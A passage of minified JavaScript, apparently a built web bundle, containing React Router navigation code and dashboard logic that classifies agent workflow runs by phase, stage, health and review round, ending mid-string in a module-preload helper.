d={id:s.props.id||p.join("-"),caseSensitive:s.props.caseSensitive,element:s.props.element,Component:s.props.Component,index:s.props.index,path:s.props.path,loader:s.props.loader,action:s.props.action,errorElement:s.props.errorElement,ErrorBoundary:s.props.ErrorBoundary,hasErrorBoundary:s.props.ErrorBoundary!=null||s.props.errorElement!=null,shouldRevalidate:s.props.shouldRevalidate,handle:s.props.handle,lazy:s.props.lazy};s.props.children&&(d.children=nu(s.props.children,p)),o.push(d)}),o}function Ra(){return Ra=Object.assign?Object.assign.bind():function(e){for(var n=1;n<arguments.length;n++){var o=arguments[n];for(var s in o)({}).hasOwnProperty.call(o,s)&&(e[s]=o[s])}return e},Ra.apply(null,arguments)}function Um(e,n){if(e==null)return{};var o={};for(var s in e)if({}.hasOwnProperty.call(e,s)){if(n.indexOf(s)!==-1)continue;o[s]=e[s]}return o}function Oy(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function jy(e,n){return e.button===0&&(!n||n==="_self")&&!Oy(e)}function ru(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((n,o)=>{let s=e[o];return n.concat(Array.isArray(s)?s.map(u=>[o,u]):[[o,s]])},[]))}function $y(e,n){let o=ru(e);return n&&n.forEach((s,u)=>{o.has(u)||n.getAll(u).forEach(p=>{o.append(u,p)})}),o}const Ly=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],Dy=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],My="6";try{window.__reactRouterVersion=My}catch{}const Fy=b.createContext({isTransitioning:!1}),Uy="startTransition",Pf=$0[Uy];function Zy(e){let{basename:n,children:o,future:s,window:u}=e,p=b.useRef();p.current==null&&(p.current=q0({window:u,v5Compat:!0}));let d=p.current,[m,h]=b.useState({action:d.action,location:d.location}),{v7_startTransition:y}=s||{},w=b.useCallback(I=>{y&&Pf?Pf(()=>h(I)):h(I)},[h,y]);return b.useLayoutEffect(()=>d.listen(w),[d,w]),b.useEffect(()=>By(s),[s]),b.createElement(Ny,{basename:n,children:o,location:m.location,navigationType:m.action,navigator:d,future:s})}const qy=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Vy=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Wy=b.forwardRef(function(n,o){let{onClick:s,relative:u,reloadDocument:p,replace:d,state:m,target:h,to:y,preventScrollReset:w,viewTransition:I}=n,z=Um(n,Ly),{basename:B}=b.useContext(yn),D,V=!1;if(typeof y=="string"&&Vy.test(y)&&(D=y,qy))try{let Q=new URL(window.location.href),K=y.startsWith("//")?new URL(Q.protocol+y):new URL(y),Y=Jr(K.pathname,B);K.origin===Q.origin&&Y!=null?y=Y+K.search+K.hash:V=!0}catch{}let A=hy(y,{relative:u}),H=Gy(y,{replace:d,state:m,target:h,preventScrollReset:w,relative:u,viewTransition:I});function oe(Q){s&&s(Q),Q.defaultPrevented||H(Q)}return b.createElement("a",Ra({},z,{href:D||A,onClick:V||p?s:oe,ref:o,target:h}))}),Hy=b.forwardRef(function(n,o){let{"aria-current":s="page",caseSensitive:u=!1,className:p="",end:d=!1,style:m,to:h,viewTransition:y,children:w}=n,I=Um(n,Dy),z=Ma(h,{relative:I.relative}),B=wn(),D=b.useContext(jm),{navigator:V,basename:A}=b.useContext(yn),H=D!=null&&Jy(z)&&y===!0,oe=V.encodeLocation?V.encodeLocation(z).pathname:z.pathname,Q=B.pathname,K=D&&D.navigation&&D.navigation.location?D.navigation.location.pathname:null;u||(Q=Q.toLowerCase(),K=K?K.toLowerCase():null,oe=oe.toLowerCase()),K&&A&&(K=Jr(K,A)||K);const Y=oe!=="/"&&oe.endsWith("/")?oe.length-1:oe.length;let ue=Q===oe||!d&&Q.startsWith(oe)&&Q.charAt(Y)==="/",ce=K!=null&&(K===oe||!d&&K.startsWith(oe)&&K.charAt(oe.length)==="/"),pe={isActive:ue,isPending:ce,isTransitioning:H},Te=ue?s:void 0,ye;typeof p=="function"?ye=p(pe):ye=[p,ue?"active":null,ce?"pending":null,H?"transitioning":null].filter(Boolean).join(" ");let Ae=typeof m=="function"?m(pe):m;return b.createElement(Wy,Ra({},I,{"aria-current":Te,className:ye,ref:o,style:Ae,to:h,viewTransition:y}),typeof w=="function"?w(pe):w)});var ou;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(ou||(ou={}));var Nf;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Nf||(Nf={}));function Ky(e){let n=b.useContext(La);return n||qe(!1),n}function Gy(e,n){let{target:o,replace:s,state:u,preventScrollReset:p,relative:d,viewTransition:m}=n===void 0?{}:n,h=wu(),y=wn(),w=Ma(e,{relative:d});return b.useCallback(I=>{if(jy(I,o)){I.preventDefault();let z=s!==void 0?s:Ca(y)===Ca(w);h(e,{replace:z,state:u,preventScrollReset:p,relative:d,viewTransition:m})}},[y,h,w,s,u,o,e,p,d,m])}function vb(e){let n=b.useRef(ru(e)),o=b.useRef(!1),s=wn(),u=b.useMemo(()=>$y(s.search,o.current?null:n.current),[s.search]),p=wu(),d=b.useCallback((m,h)=>{const y=ru(typeof m=="function"?m(u):m);o.current=!0,p("?"+y,h)},[p,u]);return[u,d]}function Jy(e,n){n===void 0&&(n={});let o=b.useContext(Fy);o==null&&qe(!1);let{basename:s}=Ky(ou.useViewTransitionState),u=Ma(e,{relative:n.relative});if(!o.isTransitioning)return!1;let p=Jr(o.currentLocation.pathname,s)||o.currentLocation.pathname,d=Jr(o.nextLocation.pathname,s)||o.nextLocation.pathname;return tu(u.pathname,d)!=null||tu(u.pathname,p)!=null}function Qy(e,n){if(e.length===0||n.length===0)return null;const o=n.filter(s=>s.state==="active");return Af(e,o)??Af(e,n)}function Af(e,n){for(const o of n)if(Yy(o,e))return o;return null}function Yy(e,n){return e.alias===n||e.pool===n||e.alias!==void 0&&Of(e.alias,["/","."])===n||e.session_name!==void 0&&Of(e.session_name,["__","--"])===n}function Of(e,n){let o=-1,s=0;for(const u of n){const p=e.lastIndexOf(u);p>o&&(o=p,s=u.length)}return o<0?e:e.slice(o+s)}const Ba=/^[A-Za-z0-9][A-Za-z0-9_.:/-]{0,127}$/;function Eu(e){return e==="city"||e==="rig"?e:null}function Xy(e){const n=Eu(e.scope_kind),o=Qr(e.scope_ref);return n!==null&&o!==null?{scopeKind:n,scopeRef:o}:null}function e7(e){const n=Xy(e);return n===null||!Ba.test(n.scopeRef)?null:{...n,rootStoreRef:Qr(e.root_store_ref)??`${n.scopeKind}:${n.scopeRef}`}}function Zm(e){const n=Qr(e?.["gc.root_store_ref"]),o=Eu(e?.["gc.scope_kind"]),s=Qr(e?.["gc.scope_ref"]);if(o!==null&&s!==null&&Ba.test(s))return{scopeKind:o,scopeRef:s,rootStoreRef:n??`${o}:${s}`};if(n===null)return null;const u=xu(n);return u===null||!Ba.test(u.scopeRef)?null:{...u,rootStoreRef:n}}function xu(e){const n=Qr(e);if(n===null)return null;const o=n.indexOf(":");if(o<=0||o>=n.length-1)return null;const s=Eu(n.slice(0,o)),u=Qr(n.slice(o+1));return s!==null&&u!==null?{scopeKind:s,scopeRef:u}:null}function Qr(e){return typeof e=="string"&&e.trim().length>0?e.trim():null}const t7=/\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)/g,n7=/\x1b\[[?0-9;]*[a-zA-Z]/g,r7=/[\x00-\x1f\x7f-\x9f]/g,o7=/[؜‎‏‪-‮⁦-⁩]/g;function jf(e){return e.replace(t7,"").replace(n7,"").replace(r7,"").replace(o7,"")}const i7=new Set(["failed","errored","stuck","crashed"]),a7=new Set(["rate-limited","rate_limited","waiting"]),s7={"awaiting-input":"respond",errored:"reset","rate-limited":"nudge",stalled:"nudge"};function l7(e,n){const o=new Map;for(const u of n)o.set(u.agentName,u.prompt);const s=[];for(const u of e){const p=o.has(u.name),d=u7(u,p);d!==null&&s.push({name:u.name,reason:d,detail:d7(u,d,o.get(u.name)),action:s7[d]})}return s}function u7(e,n){if(n)return"awaiting-input";const o=e.state.toLowerCase();return i7.has(o)?"errored":a7.has(o)?"rate-limited":c7(e,o)?"stalled":null}function c7(e,n){return n==="detached"?!0:e.running&&e.session===void 0}function d7(e,n,o){switch(n){case"awaiting-input":return p7(o);case"errored":return`Exited ${e.state}.`;case"rate-limited":return"Throttled by a provider limit.";case"stalled":return e.state.toLowerCase()==="detached"?"Detached from its session.":"Running with no live session."}}function p7(e){if(e===void 0)return"Awaiting your decision.";const n=e.split(`
-`,1)[0]?.trim()??"";return n.length>0?n:"Awaiting your decision."}function qm(e,n){const o=e?.metadata?.[n];if(typeof o=="string")return ro(o)}function ro(e){return typeof e=="string"&&e.trim().length>0?e.trim():void 0}function f7(e){return qm(e,"gc.step_ref")??ro(e.step_ref)??null}function hb(e){return Iu(e,"gc.iteration")??iu(e,"iteration")??iu(e,"run")}function gb(e){return Iu(e,"gc.attempt")??Su(e.attempt)??iu(e,"attempt")}function yb(e,n){return Iu(e,n)}function _b(e){return e.replace(/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/gi,"$1check-loop")}function iu(e,n){const o=f7(e);if(!o)return;const s=o.split(".");for(let u=0;u<s.length-1;u+=1){if(s[u]!==n)continue;const p=Su(s[u+1]);if(p!==void 0)return p}}function Iu(e,n){return Su(qm(e,n))}function Su(e){if(typeof e=="number"&&Number.isInteger(e)&&e>0)return e;if(typeof e!="string"||!/^[1-9]\d*$/.test(e))return;const n=Number.parseInt(e,10);return Number.isSafeInteger(n)?n:void 0}function m7(e){return e.filter(n=>n.phase==="blocked").map(n=>({id:n.id,title:n.title,reason:v7(n),remedy:h7(n),scope:n.scope}))}function v7(e){const n=g7(e);if(n!==null)return`Blocked at ${n}`;const o=e.statusCounts.blocked??0;return o>0?`${o} blocked step${o===1?"":"s"}`:"Blocked, awaiting operator"}function h7(e){return e.activeAssignees.length===0?"No worker assigned. Claim or dispatch one.":"Open run detail to review the blocked step."}function g7(e){if(e.progress.status==="active_step"||e.progress.status==="stage_only"){const n=e.progress.stage;if(n.status==="available")return n.label}return null}function y7(e){if(e.some(o=>o.status==="blocked"||Wm(o).includes("blocked")))return{phase:"blocked",label:"blocked",reviewRound:null};if(e.length>0&&e.every(o=>o.status==="closed"))return{phase:"complete",label:"complete",reviewRound:null};const n=_7(e);return n!==null?n:T7(e)}function _7(e){const n=e.filter(Tu),s=zu(n.filter(p=>p.status==="in_progress"))??D7(n);if(s===null)return null;const u=ti(s);if(u==="review"){const p=ku(e)??Vm(e);return{phase:"review",label:`review round ${p}`,reviewRound:p}}return{phase:u,label:u,reviewRound:null}}function ti(e){const n=E7(e);return Ko(n,I7,{rejectWithLeadUpQualifier:!0})?"approval":Ko(n,S7,{rejectWithLeadUpQualifier:!0})?"finalization":Ko(n,k7)?"review":Ko(n,b7)?"implementation":Ko(n,z7)?"intake":"active"}const w7=/[-._:/]+/;function E7(e){return e.toLowerCase().split(w7).filter(Boolean)}const x7=new Set(["pre","prepare","wait","await","pending","before","for","to"]);function Ko(e,n,o={}){return e.some(s=>n.has(s))?o.rejectWithLeadUpQualifier?!e.some(s=>x7.has(s)):!0:!1}const I7=new Set(["approval","approve","approved","gate"]),S7=new Set(["finalize","finalization","merge","cleanup","publish"]),k7=new Set(["review","reviewer","scorecard","persona","personas","audit","repro","baseline","investigation","classify","classification"]),b7=new Set(["implement","implementation","patch","fixes","work","design"]),z7=new Set(["intake","bootstrap","context","router","request","preflight","setup","rebase"]);function T7(e){if(Go(e,["approval","approved","finalize-scope"]))return{phase:"approval",label:"approval",reviewRound:null};if(Go(e,["post-merge","finalization","finalize"]))return{phase:"finalization",label:"finalization",reviewRound:null};const n=ku(e);if(n!==null||Go(e,["review","reviewer","scorecard"])){const o=n??Vm(e);return{phase:"review",label:`review round ${o}`,reviewRound:o}}return Go(e,["implementation","patch","do-work"])?{phase:"implementation",label:"implementation",reviewRound:null}:Go(e,["intake","load-context","router","request"])?{phase:"intake",label:"intake",reviewRound:null}:{phase:"active",label:"active",reviewRound:null}}function C7(e){const n=Le(e.metadata?.["gc.step_id"]);return[e.title,n].filter(Boolean).join(" ").toLowerCase()}function Go(e,n){return e.some(o=>{const s=C7(o);return n.some(u=>s.includes(u))})}function R7(e){const n=e.metadata??{};for(const[o,s]of Object.entries(n)){const u=o.match(B7);if(u&&u[1]!==void 0)return Number(u[1]);if(N7.test(o)){const d=A7(s);if(d!==null)return d}const p=String(s).match(P7);if(p&&p[1]!==void 0)return Number(p[1])}return null}const B7=/(?:^|\.)(?:iteration|attempt)\.(\d+)$/,P7=/(?:^|\.)(?:iteration|attempt)\.(\d+)$/,N7=/(?:^|\.)(?:iteration|attempt)$/;function ku(e){const n=e.map(R7).filter(o=>o!==null);return n.length===0?null:Math.max(...n)}function Vm(e){const n=e.filter(o=>Wm(o).includes("review")).length;return Math.max(n,1)}function Wm(e){const n=Object.entries(e.metadata??{}).filter(([o])=>!o.startsWith("gc.var.")).map(([o,s])=>`${o} ${String(s)}`).join(" ");return[e.title,e.description,e.status,e.issue_type,e.assignee,e.parent,n].filter(Boolean).join(" ").toLowerCase()}function Le(e){return typeof e=="string"?e.trim():""}function A7(e){const n=Number(e);return Number.isInteger(n)&&n>0?n:null}function bu(e){const n=e.parent??Le(e.metadata?.["gc.parent_bead_id"]),o={id:e.id,title:e.title,status:e.status,issue_type:e.issue_type,updated_at:e.updated_at??e.created_at};return e.description!==void 0&&(o.description=e.description),e.assignee!==void 0&&(o.assignee=e.assignee),n&&(o.parent=n),e.metadata!==void 0&&(o.metadata=e.metadata),o}const xa=[["intake","Intake"],["implementation","Implementation"],["review","Review"],["approval","Approval"],["finalization","Finalization"]];function O7(e,n,o){const s=Hm(n);if(s.length>0)return j7(s,o);if(e.phase==="blocked")return[{key:"blocked",label:"Blocked",status:"blocked"}];if(e.phase==="complete")return xa.map(([p,d])=>({key:p,label:d,status:"complete"}));const u=xa.findIndex(([p])=>p===e.phase);return u<0?xa.map(([p,d])=>({key:p,label:d,status:p==="implementation"?"active":"pending"})):xa.map(([p,d],m)=>({key:p,label:p==="review"&&e.reviewRound!==null?`Review round ${e.reviewRound}`:d,status:m<u?"complete":m===u?"active":"pending"}))}function Hm(e){return e==="mol-adopt-pr-v2"?[{key:"preflight",label:"Preflight",steps:["preflight"]},{key:"rebase",label:"Worktree / rebase",steps:["rebase-check"]},{key:"review",label:"Review loop",steps:["review-loop","review-pipeline.review-claude","review-pipeline.review-codex","review-pipeline.review-gemini","review-pipeline.synthesize","review-pipeline.quality-scorecard","apply-fixes"]},{key:"ci",label:"Pre-approval CI",steps:["pre-approval-ci","repair-ci-failures"]},{key:"approval",label:"Human approval",steps:["human-approval"]},{key:"finalize",label:"Merge-ready",steps:["finalize"]},{key:"cleanup",label:"Cleanup",steps:["cleanup-worktree"]}]:e==="mol-design-review-v2"?[{key:"setup",label:"Setup",steps:["design-review.setup"]},{key:"personas",label:"Personas",steps:["design-review.persona-gen-claude","design-review.persona-gen-codex","design-review.persona-gen-gemini","design-review.persona-synthesis"]},{key:"fanout",label:"Persona fanout",steps:["design-review.prepare-review-items","design-review.persona-review-fanout"]},{key:"synthesis",label:"Synthesis",steps:["design-review.global-synthesis"]},{key:"apply",label:"Apply findings",steps:["design-review.apply-design-changes"]},{key:"finalize",label:"Finalize",steps:["finalize"]}]:e==="mol-bug-report-flow-v2"?[{key:"intake",label:"Intake",steps:["bootstrap-run","refresh-intake"]},{key:"repro",label:"Reproduction",steps:["historical-baseline","reported-build-repro","main-repro"]},{key:"audit",label:"Audit",steps:["code-path-audit","coverage-audit","related-refs-audit"]},{key:"classify",label:"Classify",steps:["investigation-synthesis","followup-evidence","normalize-outcome"]},{key:"approval",label:"Human approval",steps:["approve-classification","verify-classification-approval"]},{key:"publish",label:"Publish",steps:["publish-classification"]},{key:"dispatch",label:"Dispatch fix",steps:["dispatch-implementation"]}]:e==="mol-bug-report-implementation-v2"?[{key:"plan",label:"Plan approval",steps:["approve-fix-plan","approve-test-hardening-plan","verify-selected-plan-approval"]},{key:"design",label:"Design review",steps:["prepare-design-review-doc","design-review"]},{key:"implement",label:"Implement",steps:["implement-change","prepare-review-context"]},{key:"review",label:"Code review",steps:["code-review-loop","apply-code-fixes"]},{key:"pr",label:"Open PR",steps:["approve-pr-open","verify-pr-open-approval","open-or-update-pr"]},{key:"ci",label:"CI",steps:["wait-for-ci"]},{key:"merge",label:"Merge",steps:["approve-merge","verify-merge-approval","merge-and-finalize"]}]:[]}function j7(e,n){const o=n.filter(Tu),s=zu(o.filter(m=>m.status==="in_progress")),u=s?e.findIndex(m=>m.steps.includes(s)):$7(e,o),p=L7(e,o),d=m=>m.steps.some(h=>Fa(o,h).some(y=>y.status==="closed"));return e.map((m,h)=>{let y;return u>=0?y=h<u?"complete":h===u?"active":"pending":d(m)||h<p?y="complete":y="pending",{key:m.key,label:m.label,status:y}})}function $7(e,n){return e.findIndex(o=>o.steps.some(s=>Fa(n,s).some(u=>u.status!=="closed")))}function L7(e,n){let o=-1;return e.forEach((s,u)=>{s.steps.some(p=>Fa(n,p).some(d=>d.status==="closed"))&&(o=u)}),o}function zu(e){return[...e].sort(F7).map(n=>Le(n.metadata?.["gc.step_id"])).find(Boolean)??null}function D7(e){const n=e.map(o=>Le(o.metadata?.["gc.step_id"])).filter(o=>o.length>0);return n.length===0?null:[...n].sort((o,s)=>{const u=Pa(ti(s))-Pa(ti(o));return u!==0?u:o<s?-1:o>s?1:0})[0]}const M7={active:0,intake:1,implementation:2,review:3,approval:4,finalization:5,blocked:6,complete:7};function Pa(e){return M7[e]}function F7(e,n){const o=$f(n.updated_at)-$f(e.updated_at);if(o!==0)return o;const s=Le(e.metadata?.["gc.step_id"]),u=Le(n.metadata?.["gc.step_id"]),p=Pa(ti(u))-Pa(ti(s));return p!==0?p:s<u?-1:s>u?1:0}function $f(e){const n=Date.parse(e);return Number.isNaN(n)?0:n}function Fa(e,n){return e.filter(o=>Le(o.metadata?.["gc.step_id"])===n)}function Tu(e){const n=Le(e.metadata?.["gc.kind"]);return n!=="spec"&&n!=="scope-check"&&n!=="workflow-finalize"}function U7(e,{root:n,formulaDetail:o,issues:s=[]}){const u=W7(n),p=Z7(e,n,s);if(p!==null)return{name:p,source:"metadata",target:u};if(e==="detail"||e==="state"){const m=ro(o?.name);if(m!==void 0)return{name:m,source:"formula_detail",target:u}}const d=q7(e,n);return d!==null?{name:d,source:"title_fallback",target:u}:{name:null,source:null,target:u}}function Z7(e,n,o){return e==="lane"?Lf(o,"pr_review.workflow_formula")??Lf(o,"gc.formula")??null:dr(n,"gc.formula")??dr(n,"gc.formula_name")??null}function q7(e,n){if(n===void 0||dr(n,"gc.formula_contract")!=="graph.v2"||dr(n,"gc.run_target")===void 0||V7(n.status))return null;const o=ro(n.title);return o===void 0||e==="lane"&&!o.startsWith("mol-")?null:o}function V7(e){switch(e.trim().toLowerCase()){case"closed":case"completed":case"done":case"failed":case"skipped":return!0;default:return!1}}function W7(e){return dr(e,"gc.run_target")??dr(e,"gc.routed_to")??ro(e?.assignee)??null}function dr(e,n){return ro(e?.metadata?.[n])}function Lf(e,n){for(const o of e){const s=dr(o,n);if(s!==void 0)return s}}const H7=1,K7=2,Km={attemptClimbMin:H7,thrashDetectedStreak:K7};function G7(e){return e.phase==="approval"||e.phase==="blocked"}function J7(e,n,o={}){const{attemptClimbMin:s}={...Km,...o},u=new Map;for(const p of n){const d=X7(p),m=e.get(p.id),h=m!==void 0&&m.progress.status==="comparable"&&d.status==="comparable"&&m.progress.stepId===d.stepId&&m.progress.stageIndex===d.stageIndex,y=m!==void 0&&m.progress.status==="comparable"&&d.status==="comparable"&&d.attempt-m.progress.attempt>=s,w=h&&y?m.thrashStreak+1:0;u.set(p.id,{progress:d,thrashStreak:w})}return u}function Q7(e){const{thrashDetectedStreak:n}={...Km,...e.thresholds},o=e.lanes.map(s=>{if(!e.sessionsAvailable)return{...s,health:{status:"unavailable",error:"run session list unavailable"}};const u=Y7(s,e.sessions),p=u.status==="resolved",d=s.formulaStageResolved===!0&&p?"known":"inferred",m=e.marks.get(s.id)?.thrashStreak??0,h={phaseConfidence:d,needsOperator:G7(s),stuckNode:e2(s),thrashingDetected:m>=n,session:u.status==="resolved"?t2(u.session):{status:"unresolved",error:u.error}};return{...s,health:{status:"available",data:h}}});return{lanes:o,census:Gm(o)}}function Y7(e,n){for(const o of e.activeAssignees){const s=Qy(o,n);if(s!==null)return{status:"resolved",session:s}}return{status:"unresolved",error:"run session unresolved"}}function X7(e){return e.progress.status!=="active_step"?{status:"not_comparable",error:"run has no active step"}:e.progress.stage.status!=="available"?{status:"not_comparable",error:e.progress.stage.error}:e.progress.attempt.status!=="available"?{status:"not_comparable",error:e.progress.attempt.error}:{status:"comparable",stepId:e.progress.stepId,stageIndex:e.progress.stage.index,attempt:e.progress.attempt.value}}function e2(e){return e.progress.status==="active_step"?{status:"available",id:e.progress.stepId}:{status:"unavailable",error:"active run step unavailable"}}function t2(e){return{status:"resolved",lastActive:e.last_active===void 0?{status:"unavailable",error:"session last_active unavailable"}:{status:"available",at:e.last_active},running:{status:"available",value:e.running},activity:e.activity===void 0?{status:"unavailable",error:"session activity unavailable"}:{status:"available",value:e.activity}}}function n2(){return{intake:0,implementation:0,review:0,approval:0,finalization:0,blocked:0,complete:0,active:0}}function Gm(e){const n=n2();let o=0,s=0,u=0,p=0;for(const d of e)n[d.phase]+=1,d.phase!=="complete"&&(o+=1,d.health.status==="available"&&d.health.data.phaseConfidence==="known"?(u+=1,d.health.data.thrashingDetected===!0&&(p+=1)):s+=1);return{byPhase:n,totalInFlight:o,unverifiable:s,knownDenominator:u,thrashing:p}}const r2=1440*60*1e3;function o2(e,n,o){if(!o||e.phase==="complete"||e.phase==="blocked"||e.progress.status==="active_step"||i2(e)||e.updatedAt.status!=="available")return!1;const s=n-Date.parse(e.updatedAt.at);return Number.isFinite(s)&&s>=r2}function i2(e){return e.health.status==="available"&&e.health.data.session.status==="resolved"}function a2(e,n){return!n.some(o=>o.id===e)}const wb=8,s2=12,l2=50,u2=new Set(["feature","bug","task","epic","chore","decision","molecule"]);function Cu(e,n=new Map,o=!1){const s=new Map;for(const B of e){const D=f2(B),V=s.get(D)??[];V.push(B),s.set(D,V)}const u=Array.from(s.entries()).filter(([B,D])=>!a2(B,D)&&c2(B,D)),p=u.flatMap(([,B])=>B),d=u.map(([B,D])=>p2(B,D,n)).sort(x2),m=d.filter(B=>B.phase!=="complete"&&B.phase!=="blocked"),h=d.filter(B=>B.phase==="complete"),y=h.length,w=h.slice(0,l2),I=d.filter(B=>B.phase==="blocked"),z={totalActive:m.length,totalHistorical:y,runCounts:Jm(m,m.length,I.length),lanes:m,historicalLanes:w,blockedLanes:I,recentChanges:E2(p),census:b2()};return o?{...z,lanesPartial:!0}:z}function c2(e,n){const o=n.find(u=>u.id===e);if(!o)return!1;const s=o.metadata;return Le(s?.["gc.formula_contract"])==="graph.v2"||o.issue_type==="molecule"||Le(s?.["gc.kind"])==="run"||Le(s?.["gc.formula"])!==""}function Jm(e,n,o){const s={total:e.length,visible:n,prReview:0,designReview:0,bugfix:0,blocked:o,other:0};for(const u of e)switch(d2(u.formula)){case"prReview":s.prReview+=1;break;case"designReview":s.designReview+=1;break;case"bugfix":s.bugfix+=1;break;case"other":s.other+=1;break}return s}function d2(e){const n=Qm(e);return n==="mol-adopt-pr-v2"?"prReview":n==="mol-design-review-v2"?"designReview":n==="mol-bug-report-flow-v2"||n==="mol-bug-report-implementation-v2"?"bugfix":"other"}function p2(e,n,o){const s=y7(n),u=w2(n),p=h2(e,n),d=Qm(p),m=O7(s,d,n),h=m.findIndex(A=>A.status==="active"),y=h>=0?m[h]:void 0,w=n.filter(A=>Tu(A)&&A.status==="in_progress"),I=zu(w),z=T2(m,h,I,n),B=Hm(d),D=B.length>0&&z.status==="active_step"&&B.some(A=>A.steps.includes(z.stepId)),V=m2(e,n,o);return{id:e,title:g2(e,n),formula:p,scope:V,external:I2(n),phase:s.phase,phaseLabel:p.status==="known"?y?.label??s.label:s.label,statusCounts:y2(n),activeAssignees:_2(n),updatedAt:u,stages:m,progress:z,formulaStageResolved:D,health:z2()}}function f2(e){const n=v2(e);if(n)return n;const o=e.metadata??{},s=Le(o["gc.root_bead_id"]);if(s)return s;if(Le(o["gc.kind"])==="run"||e.issue_type==="molecule")return e.id;const u=Le(o.molecule_id);return u||e.id}function m2(e,n,o){const s=n.find(h=>h.id===e),u=s?[s,...n.filter(h=>h!==s)]:n,p=Dt(u,"gc.root_store_ref"),d=Zm({...s?.metadata??{},...p?{"gc.root_store_ref":p}:{},"gc.scope_ref":Le(s?.metadata?.["gc.scope_ref"])||Dt(u,"gc.scope_ref")});if(d!==null)return Df(d.scopeKind,d.scopeRef,d.rootStoreRef);const m=o.get(e);return m!==void 0?Df(m.scopeKind,m.scopeRef,p||m.rootStoreRef):{status:"unavailable",error:"run scope metadata unavailable"}}function Df(e,n,o){return{status:"available",kind:e,ref:jf(n),rootStoreRef:jf(o)}}function v2(e){return Le(e.metadata?.["pr_review.run_root_id"])||Le(e.metadata?.["pr_review.workflow_root_id"])||Le(e.metadata?.["bugflow.active_run_id"])||Le(e.metadata?.["bugflow.implementation_run_id"])||Le(e.metadata?.["bugflow.implementation_workflow_id"])||Le(e.metadata?.["design_review.run_root_id"])||Le(e.metadata?.["design_review.workflow_root_id"])}function h2(e,n){const o=n.find(u=>u.id===e),s=U7("lane",{root:o,issues:n});return s.name!==null?{status:"known",name:s.name}:{status:"unavailable",error:"run formula unavailable"}}function Qm(e){return e.status==="known"?e.name:null}function g2(e,n){const o=Dt(n,"pr_review.github_title"),s=Dt(n,"pr_review.pr_number");if(o&&s)return`PR #${s}: ${o}`;const u=Dt(n,"bugflow.github_issue_url"),p=Dt(n,"bugflow.github_issue_number");return u&&p?`Issue #${p}: ${n[0]?.title??e}`:n.find(m=>m.id===e)?.title??n[0]?.title??e}function y2(e){return e.reduce((n,o)=>(n[o.status]=(n[o.status]??0)+1,n),{})}function _2(e){return Array.from(new Set(e.filter(n=>n.status!=="closed").map(n=>n.assignee?.trim()).filter(n=>!!n))).sort()}function w2(e){const n=e.map(o=>o.updated_at).filter(Boolean).sort((o,s)=>Date.parse(s)-Date.parse(o))[0];return n===void 0?{status:"unavailable",error:"run update time unavailable"}:{status:"available",at:n}}function E2(e){return[...e].filter(n=>n.updated_at).sort((n,o)=>Date.parse(o.updated_at)-Date.parse(n.updated_at)).slice(0,s2).map(n=>({id:n.id,title:n.title,status:n.status,updatedAt:n.updated_at}))}function x2(e,n){const o=e.updatedAt.status==="available"?Date.parse(e.updatedAt.at):0;return(n.updatedAt.status==="available"?Date.parse(n.updatedAt.at):0)-o||e.id.localeCompare(n.id)}function I2(e){const n=k2(e),o=S2(e);return n!==null&&o!==null?{status:"available",label:n,url:o}:n!==null?{status:"label_only",label:n}:{status:"unavailable",error:"external reference unavailable"}}function S2(e){const n=Dt(e,"pr_review.pr_url")||Dt(e,"bugflow.github_issue_url");return n&&/^https?:\/\//i.test(n)?n:null}function k2(e){const n=Dt(e,"pr_review.pr_number");if(n)return`PR #${n}`;const o=Dt(e,"bugflow.github_issue_number");return o?`Issue #${o}`:Dt(e,"pr_review.external_ref")||Dt(e,"bugflow.external_ref")||null}function Dt(e,n){return e.map(o=>Le(o.metadata?.[n])).find(Boolean)??""}function b2(){return{status:"unavailable",error:"run health has not been derived"}}function z2(){return{status:"unavailable",error:"run health has not been derived"}}function Ru(e){return Array.isArray(e.labels)&&e.labels.some(n=>n.startsWith("gc:"))?!1:!!(u2.has(e.issue_type)||Le(e.metadata?.["gc.kind"])==="run")}function T2(e,n,o,s){const u=C2(e,n);return o!==null?{status:"active_step",stepId:o,stage:u,attempt:R2(s,o)}:u.status==="available"?{status:"stage_only",stage:u,error:"active run step unavailable"}:{status:"unavailable",error:"run progress unavailable"}}function C2(e,n){const o=e[n];return o===void 0?{status:"unavailable",error:"active run stage unavailable"}:{status:"available",index:n,key:o.key,label:o.label}}function R2(e,n){const o=ku(Fa(e,n));return o===null?{status:"unavailable",error:"run step attempt unavailable"}:{status:"available",value:o}}const Ym=/^[a-z0-9]([a-z0-9-]*[a-z0-9])?$/i,B2={bead:"bead.",session:"session."};function Vr(e){return e instanceof Error?e.message:typeof e=="string"?e:"unknown error"}function P2(e){if(!e)return"";let n=e.length;for(;n>0&&e.charCodeAt(n-1)===47;)n--;const o=e.slice(0,n);return o.slice(o.lastIndexOf("/")+1)||o}const N2="polecat";function A2(e){return P2(e).toLowerCase().includes(N2)}function O2(e){return e.filter(n=>!n.read&&!A2(n.from))}const j2="modulepreload",$2=function(e){return"/"+e},Mf={},En=function(n,o,s){let u=Promise.resolve();if(o&&o.length>0){let h=function(y){return Promise.all(y.map(w=>Promise.resolve(w).then(I=>({status:"fulfilled",value:I}),I=>({status:"rejected",reason:I}))))};document.getElementsByTagName("link");const d=document.querySelector("meta[property=csp-nonce]"),m=d?.nonce||d?.getAttribute("nonce");u=h(o.map(y=>{if(y=$2(y),y in Mf)return;Mf[y]=!0;const w=y.endsWith(".css"),I=w?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${y}"]${I}`))return;const z=document.createElement("link");if(z.rel=w?"stylesheet":j2,w||(z.as="script"),z.crossOrigin="",z.href=y,m&&z.setAttribute("nonce",m),document.head.appendChild(z),w)return new Promise((B,D)=>{z.addEventListener("load",B),z.addEventListener("error",()=>D(new Error(`Unable to preload CSS for 